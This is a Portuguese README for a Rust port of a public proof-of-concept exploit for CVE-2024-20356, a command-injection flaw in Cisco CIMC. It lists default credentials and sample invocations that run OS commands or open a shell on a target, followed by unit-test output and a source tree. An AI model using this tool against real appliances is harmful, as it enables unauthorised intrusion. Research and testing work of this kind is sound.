
Uma versão oxidada de https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Este é uma prova de conceito para CVE-2024-20356, uma vulnerabilidade de Injeção de Comandos no Cisco CIMC.
Escrito por Aaron e oxidado por SherllyNeo
Detalhes técnicos completos podem ser encontrados em https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Exemplos de comandos:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Use o argumento --help para obter instruções completas de uso.
Esta prova de conceito é apenas para fins de demonstração e não deve ser utilizada para atividades ilegais. A LRQA Nettitude não é responsável por qualquer dano causado pelo uso ou uso indevido deste código. Não seja mau
Escrevi isto sem acesso ao servidor, com base na base de código original.
Devido a isso, escrevi testes unitários extensivos para garantir que as funções de encriptação correspondam às encontradas no original. Que o método de login funciona usando um servidor simulado. Que a análise dos argumentos funciona para endereços IP.
para executar estes testes, use cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
Coloquei isto aqui porque evitei usar mod.rs e para mostrar como main é um invólucro fino em torno de lib.
Isto é para permitir testes de integração no futuro.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs